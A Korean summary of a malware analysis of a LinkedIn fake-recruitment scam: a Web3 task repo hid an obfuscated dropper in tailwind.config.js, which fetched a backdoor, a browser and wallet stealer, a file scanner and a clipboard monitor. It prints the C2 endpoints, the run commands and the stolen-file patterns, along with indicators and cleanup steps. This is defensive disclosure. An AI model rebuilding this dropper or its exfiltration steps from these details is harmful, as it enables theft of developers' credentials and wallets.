개발자를 해킹하는 LinkedIn 채용 과제 사기
(aisafe.io)- LinkedIn에서 소프트웨어 엔지니어 채용을 제안한 뒤 정상적인 React/Web3 과제로 위장한 비공개 GitHub 저장소를 전달했으며, 실행하면
tailwind.config.js에 숨겨진 JavaScript 악성코드가 개발자 컴퓨터에서 작동함 - 30,987바이트짜리 설정 파일은 수천 개의 공백 뒤에 27KB 난독화 코드를 숨겼고, 원격 서버에서 AES-256-CBC로 암호화된 2단계 페이로드를 받아
%TEMP%\pack에 저장한 뒤node pack으로 실행함 - Windows 11 ARM 격리 VM에서 약 10분간 관찰한 결과, 페이로드는 원격 제어 백도어, 브라우저·지갑 탈취기, 재귀 파일 스캐너, 클립보드 감시기라는 네 구성 요소를 가동함
- Socket.IO를 통해 터미널·SSH·화면·키보드·마우스를 제어하고 Chromium 데이터베이스, 지갑 확장 저장소, SSH 키, 소스 코드, 설정 파일 등을 수집했으며, 파일 업로드 포트에서 2,588건의 요청이 관찰됨
- 낯선 사람이 보낸 과제 저장소는 비신뢰 코드로 취급해 실제 브라우저 프로필·SSH 키·클라우드 자격 증명·지갑이 없는 일회용 VM이나 컨테이너에서 검사해야 하며, 감염됐다면 네트워크 차단과 증거 보존 후 비밀 정보까지 교체해야 함
정상적인 Web3 채용 과제로 위장한 저장소
- LinkedIn 사용자 Wayan Adrian은 shrapnel.com의 소프트웨어 엔지니어 직무를 제안하고,
yevhen-o계정의 비공개 GitHub 저장소tech-active-workplace-frontend-main을 과제로 전달함 - BLAIEXS라는 NFT 캠페인 플랫폼은 겉으로는 일반적인 React/Web3 프로젝트였음
- React 프런트엔드는 브랜드·관리자 대시보드, 캠페인 관리, NFT 생성 흐름 등을 제공함
- Express API는 인증, 대시보드 데이터, KYB 검사, NFT 생성·클레임, 파일 업로드와 일부 스텁 엔드포인트를 처리함
- 시드 스크립트는 superadmin·브랜드·소비자 데모 계정,
Demo NFT Drop캠페인, 100개가 제공되는Demo CollectibleNFT를 생성함
- 실제 과제 범위는 단순한 MetaMask 네트워크 표시 기능이었음
src/utils/ethereum.js의 비동기getChainId()가eth_chainId를 호출하고 파싱한 16진수 값 또는null을 반환하도록 구현함- 같은 파일의
getNetworkLabel(chainId)가 기존NETWORKS객체에서 읽기 쉬운 네트워크 이름을 찾도록 구현함 src/components/Wallet/ConnectWalletButton.js가 지갑 연결 후 두 함수를 호출하도록 수정함
- 구현을 마치고 개발 서버를 실행했지만 오랫동안 시작되지 않았고, 이상을 감지한 사용자는 인터넷 케이블을 분리함
tailwind.config.js에 숨겨진 실행 코드
ls -la에서tailwind.config.js는 30,987바이트였지만 편집기에서는 97줄만 보였으며,wc -c로도 같은 크기를 확인함- 95번째 줄 부근에는 수천 개의 공백 뒤로 사람이 읽기 어려운 대형 JavaScript 블롭이 숨겨져 있었음
- 코드는 일반적인 JavaScript 난독화 방식을 사용함
- 중요한 문자열을 큰 배열에 저장함
- 체크섬이 맞을 때까지 배열을 회전함
- 문자열 접근을 디코더 함수 뒤에 숨김
- 명확한 이름을 숫자 인덱스와 래퍼 호출로 교체함
- 두 디코더 중 하나는 Base64 형태로 문자열을 복구하고, 다른 하나는 문자열별 키와 RC4 유사 스트림 암호를 적용했으며, 디코더 인덱스가 맞기 전에 문자열 배열을 회전시킴
- 악성코드를 실행하지 않고도 다음 순서로 난독화를 해제할 수 있었음
- 문자열 배열을 추출함
- 예상 체크섬에 도달하도록 배열 회전을 재현함
- 디코더 함수를 다시 구현함
b(0x214),c(0x2f1, "key")같은 호출을 실제 문자열로 치환함- 래퍼 객체와 도우미 함수를 단순화해 실행 의도를 드러냄
1단계 드로퍼의 동작
- 해제된 코드는
child_process,os,fs,path,crypto를 불러오고 임시 디렉터리에axios와socket.io-client를 설치함 - 프로세스 수준의
uncaughtException과unhandledRejection처리기는 오류를 무시하도록 구성됨 - 원격 페이로드 실행 흐름은 다음과 같음
- UID는
59e605dd78fb2aafccd1b622f06a00ca임 http://45.146.252.17/api/service/59e605dd78fb2aafccd1b622f06a00ca에서 데이터를 가져옴- UID와 문자열
salt를crypto.scryptSync에 넣어 32바이트 키를 파생함 - 응답을
base64_iv:base64_ciphertext형식으로 분리하고aes-256-cbc로 복호화함 - 평문을 임시 디렉터리의
pack파일에 기록함 child_process.execSync("node pack", { windowsHide: true, cwd: os.tmpdir() })로 실행함
- UID는
- 자체 기능을 수행하기보다 다른 악성 소프트웨어를 내려받아 실행하는 멀웨어 드로퍼임
- 다운로드한 코드에는 서명 검증, 해시 허용 목록, 출처 고정, 경로 제한, 실행 방지 가드가 없어서 원격 엔드포인트가 Tailwind 설정을 불러온 운영체제 계정의 권한으로 코드를 실행할 수 있음
격리 VM에서 수행한 동적 분석
- 호스트 시스템을 노출하지 않도록 UTM으로 일회용 Windows 11 ARM VM을 구성함
- 메모리
4096 MiB - 디스크
64 GiB shared/NAT네트워킹- 공유 폴더 비활성화
- 메모리
- 여러 관점에서 악성코드 동작을 수집하도록 도구를 설치함
- Wireshark: 패킷과 C2·유출 트래픽 수집
- Sysinternals Sysmon: 지속 가능한 Windows 이벤트 원격 측정
- Procmon: 실행 중 프로세스·레지스트리·파일시스템 활동 수집
- 악성코드의 수집 대상을 확인하기 위해 미끼 데이터를 배치함
- SSH 키 쌍
- 비공개 GitHub 저장소
- 암호화폐 지갑
- 브라우저 데이터
- 정보 탈취기가 노릴 만한 기타 파일
- VM에서
yarn start를 실행하고 약 10분 동안 관찰한 뒤run1-full.pcapng,run1-sysmon.evtx,stage2-pack.bin을 확보함
네트워크에서 확인된 감염 흐름
45.146.252.17로 향한 HTTP 요청은 포트별로 역할이 나뉘어 있었음- 포트
80: 1단계 페이로드 가져오기, 호스트 등록, 로그 전송 - 포트
7641: Socket.IO 명령·제어 백도어 - 포트
7646: 파일 업로드 2,588건 - 포트
7649: 더 크지만 수가 적은 브라우저 데이터 업로드 3건
- 포트
- 첫 요청은
GET /api/service/59e605dd78fb2aafccd1b622f06a00ca였으며, 응답은Content-Length: 150897인base64_iv:base64_ciphertext형식이었음 tailwind.config.js는 응답을 AES-256-CBC로 복호화하고 평문을%TEMP%\pack에 쓴 뒤node pack으로 실행함- 확보한 2단계 페이로드의 특성은 다음과 같음
- SHA-256:
68a64d8c015c06fd70bcb8c5878c1e430da827dd00b62f8e6ef69e76bb94de5b - 크기:
113136바이트 - 형식: 한 줄로 구성된 ASCII JavaScript
- SHA-256:
- 복호화된
pack도 다시 난독화돼 있었지만 첫 단계와 같은 기법을 사용해 동일한 절차로 해제할 수 있었음
네 개 프로그램으로 구성된 2단계 페이로드
pack은 단일 스크립트가 아니라 다음 네 프로그램을 실행하는 작은 프로세스 트리였음scdata명령·제어 백도어를 임시 디렉터리에 기록하고 실행함ldata브라우저·지갑 탈취기를 임시 디렉터리에 기록하고 실행함- 재귀 파일 스캐너를
node -e로 메모리에서 직접 실행함 - 클립보드 감시기를
node -e로 메모리에서 직접 실행함
- 주요 설정은 UID
59e605dd78fb2aafccd1b622f06a00ca, 사용자 키308, 호스트45.146.252.17, Socket.IO 포트7641, 키 포트7648, 브라우저 업로드 포트7649, 파일 업로드 포트7646이었음
scdata: 대화형 원격 제어 백도어
scdata는%TEMP%에 파일로 기록된 뒤npm i axios socket.io-client ... && node scdata로 실행되며, 장시간 동작하는 자식 프로세스로 남음- 실행 후 자신을 정상적인 프로세스처럼 보이도록 구성함
- 프로세스 제목:
vhost.ctl - 단일 인스턴스 표시 파일:
%TEMP%\.npm\vhost.ctl - 호스트 등록:
http://45.146.252.17/api/service/… - 로그 전송:
http://45.146.252.17/api/service/makelog - Socket.IO C2:
http://45.146.252.17:7641
- 프로세스 제목:
- 원격 제어 기능에 필요한 추가 패키지도 설치함
socket.io-client,ssh2,node-pty: 터미널과 SSH 유사 기능sharp,screenshot-desktop,clipboardy,@nut-tree-fork/nut-js: 스크린샷, 클립보드, 마우스 이동·클릭·스크롤, 키보드 입력
- Socket.IO 이벤트는 원격 제어 범위를 직접 보여줌
- 터미널:
start-terminal,terminal-input,terminal-resize,stop-terminal,command - 호스트 확인과 캡처:
whour,capture - 입력 제어:
mouseMove,mouseClick,mouseScroll,keyTap,keyCombo - 클립보드:
copyText,pasteText - SSH와 종료:
start_ssh,ssh_input,kill
- 터미널:
- PCAP에서는 포트
7641의 폴링·WebSocket 핸드셰이크와 최초 서버 이벤트whour가 확인됐고, Sysmon에서는node.exe scdata, 시스템 정보 조회 PowerShell, 두 그룹의 npm 패키지 설치가 차례로 포착됨 - 단순 정보 탈취를 넘어 공격자에게 셸과 데스크톱 제어 기능까지 제공함
ldata: 브라우저와 지갑 데이터 탈취기
ldata는%TEMP%에 기록되고npm i axios && node ldata로 실행되며, 프로세스 제목은npm-cache임- 브라우저 프로필과 지갑 확장 저장소를 수집해
http://45.146.252.17:7649/upload로 보내고, LevelDB 상태는/cldbs에서 확인함 - 대상 브라우저는 운영체제별로 폭넓게 설정돼 있음
- Windows: Chrome, Edge, Brave, LT Browser
- macOS: Chrome, Brave, Opera, LT Browser, Edge와 로컬 로그인 키체인
- Linux: 대응하는 Chromium 계열 프로필 폴더
Default또는Profile*디렉터리에서 다음 Chromium 데이터베이스를 업로드함Login DataLogin Data For AccountWeb Data
- 이후
Local Extension Settings/<extension-id>를 탐색하며, 하드코딩된 지갑 확장 ID에는 MetaMask의nkbihfbeogaeaoehlefnkodbefgpgknn도 들어 있음 - 첫 8개 지갑 확장 경로는 LevelDB 디렉터리를 임시 폴더로 복사해 개별 파일을 업로드하고, 서버의
cldbs응답에 따라 완료 여부나 재시도를 결정함 - 포트
7649에서 확인된 세 업로드는 다음 데이터베이스였음Login_Data.sqlite: 51,200바이트Login_Data_For_Account.sqlite: 51,200바이트Web_Data.sqlite: 262,144바이트
- 실험 데이터에는 저장된 비밀번호나 카드 행이 없었지만 자동완성 값 6개와 브라우저 메타데이터가 포함돼 있었음
- Chrome 계열 브라우저는 일부 필드를 로컬에서 암호화하므로 데이터베이스만으로 항상 평문 비밀을 복구할 수는 없음
- 다만 운영체제 비밀·쿠키·확장 저장소·잠금 해제된 브라우저와 결합하면 자격 증명 탈취 파이프라인의 일부가 됨
- 필요한 브라우저 데이터와 LevelDB를 업로드하거나 서버가 완료로 표시하면 종료되며, 운영자의 별도 명령을 기다리지 않음
재귀 파일 스캐너와 클립보드 감시기
- 재귀 파일 스캐너는 별도 파일을 만들지 않고
node -e로 실행되며 사용자 홈 디렉터리부터 탐색함- Windows에서는
Get-CimInstance Win32_LogicalDisk로 드라이브 문자를 열거하고 각 드라이브 루트도 검사함 - 수집 파일 패턴에는
*.env*,*.md,*.pem,*.ini,*.secret,*.json,*.js,*.ts,*.csv,*.txt,*.doc,*.docx,*.pdf,*.xlsx,.zsh_history,.bash_history가 포함됨 ~/.ssh,~/.aws,~/.azure,~/.config,~/.foundry는 자동으로 관심 폴더로 취급함metamask,bitcoin,btc,solana,secret phrase,private key같은 이름도 찾음- 결과는
http://45.146.252.17:7646/upload로 전송함
- Windows에서는
- 미끼 환경에서는
id_ed25519,id_ed25519.pub,History.txt,seed.js,password.js,tokens.js,ConnectWalletButton.js,ExportWallet.js,RegisterWallet.js,tailwind.config.js,aptos-cli.json등이 실제로 업로드됨 ldata가 브라우저와 지갑 저장소를 전담한다면 파일 스캐너는 SSH 키·설정·소스 코드·로컬 비밀·셸 기록·프로젝트 파일을 광범위하게 수집함- 클립보드 감시기도
node -e로 실행되며 프로세스 제목은npm-compiler.log임- 몇 초 기다린 뒤 반복해서 클립보드를 읽음
- macOS에서는
pbpaste, Windows에서는powershell -NoProfile -NonInteractive Get-Clipboard를 사용함 - 변경된 값은
http://45.146.252.17/api/service/makelog로 보냄
- 형식을 해석하지 않아도 사용자가 복사하는 비밀번호, 복구 문구, 개인 키, API 토큰, 일회용 코드, GitHub URL, 지갑 주소, 배포 비밀을 그대로 포착할 수 있음
채용 과제를 실행하기 전 지켜야 할 원칙
- 낯선 사람이 보낸 과제 저장소는 안전성이 확인되기 전까지 비신뢰 실행 코드로 취급해야 함
yarn install,npm install,yarn build,yarn start전에 다음 항목을 검토해야 함package.json- 수명 주기 스크립트
- 설정 파일
- 명백한 의존성 훅
- 이 사례의 악성코드는 사람들이 지나치기 쉬운
tailwind.config.js에 숨어 있었으며, 설정 파일·의존성·빌드 도구도 모두 코드로 실행될 수 있음 - 면접 프로젝트는 실제 비밀이 마운트되지 않은 일회용 VM이나 컨테이너에서 실행해야 함
- 개인 브라우저 프로필
- 비밀번호 관리자
- SSH 키
- 암호화폐 지갑
- GitHub 토큰
- 클라우드 자격 증명
- 은행 세션
- 기본 이메일 계정
- 계정이나 지갑이 필요한 과제에는 자금이 없고 다른 서비스에서 재사용하지 않은 새 테스트 신원을 사용해야 함
- Web3 과제라면 테스트넷만 사용하고, 무해해 보여도 실제 지갑을 알 수 없는 프로젝트에 연결하지 않아야 함
감염 여부를 확인하는 지표
- macOS·Linux에서는 다음 항목을 우선 확인함
node,pack,scdata,ldata,npm-compiler,vhost.ctl관련 실행 프로세스45.146.252.17또는 포트7641,7646,7649와의 연결- 임시 디렉터리, Downloads, Desktop, Documents, Library 아래의
pack,scdata,ldata,vhost.ctl */.npm/vhost.ctl표시 파일- 내려받은 프로젝트 안의 IP, UID,
/api/service/makelog,node scdata,node ldata,node pack문자열
- Windows에서는 다음 항목을 확인함
node,npm,cmd,powershell프로세스 가운데 명령줄에pack,scdata,ldata,node -e, IP 주소,Get-Clipboard가 있는 항목45.146.252.17또는 원격 포트7641,7646,7649로 열린 TCP 연결%TEMP%아래의pack,scdata,ldata,vhost.ctl,.npm\vhost.ctl- 면접 저장소를 복제한 디렉터리 안의 알려진 C2 문자열
- 살아 있는 Node 프로세스, 해당 IP 연결,
pack·scdata·ldata산출물 중 하나라도 발견되면 시스템이 노출된 것으로 간주해야 함 - 이 지표는 분석한 샘플에 특화된 1차 점검 사항이며 완전한 포렌식 절차는 아님
감염 시스템 정리와 비밀 교체
- 가장 먼저 컴퓨터를 네트워크에서 분리하고, 감염 환경에서 계속 탐색하거나 디버깅하거나 새 비밀을 복사하지 않아야 함
- 증거가 필요하다면 삭제 전에 다음 자료를 보존함
- 프로세스 목록
- 네트워크 연결
- 의심스러운 파일
- 브라우저 기록
- 악성 저장소
- 이후
node pack,node scdata,node ldata,node -e,npm-compiler,vhost.ctl관련 프로세스를 종료하고 임시 디렉터리의pack,scdata,ldata,.npm/vhost.ctl을 제거함 - 일회용 VM이고 정상적인 Node 작업을 보존할 필요가 없다면 macOS·Linux의
pkill node나 Windows의 전체node프로세스 강제 종료를 사용할 수 있음 - 악성 저장소와
node_modules를 삭제하되, 추가 분석이 필요하면 ZIP 사본을 오프라인에 보존함 - 파일 삭제만으로는 충분하지 않으며 다음 비밀 정보를 교체·폐기해야 함
- SSH 키
- GitHub·npm 토큰
- 클라우드 키와 API 키
- 배포 비밀
- 브라우저에 저장된 비밀번호
- 활성 로그인 세션
- 지갑 시드나 개인 키가 감염 시스템에 닿았을 가능성이 있다면 깨끗한 장치에서 새 지갑을 만들고 자금을 이전해야 함
개발 도구의 신뢰 경계를 악용한 공격
- 전통적인 백신 제품은 이 저장소를 탐지하지 않았고, 과제 해결에 사용된 인기 AI 코딩 에이전트도 프로젝트에 숨겨진 악성코드를 식별하지 못함
- Tailwind는 JavaScript 설정 파일을 Node 모듈로 평가하므로, 개발 도구·빌드 스크립트·편집기 통합·Tailwind CLI·번들러·CI 작업이 설정을 불러오는 순간 95번째 줄의 IIFE가 실행됨
- 정상적인 Tailwind 설정은 94번째 줄까지였고, 그 뒤에 약 27KB의 난독화 코드가 추가돼 있었음
- 다운로드된 페이로드는 설정을 불러온 사용자와 같은 운영체제 권한으로 실행됨
- 로컬 파일, 브라우저 프로필, 저장 자격 증명, 지갑 확장 데이터, SSH 키, 환경 변수, 패키지 토큰, 클라우드 자격 증명, 소스 코드, 클립보드에 접근할 수 있음
- CI에서 실행되면 배포 비밀, 빌드 산출물, 레지스트리 자격 증명, 프로덕션 접근 토큰도 노출될 수 있음
- 필요한 수정은
tailwind.config.js에서 난독화된 JavaScript 블롭을 완전히 제거하는 것임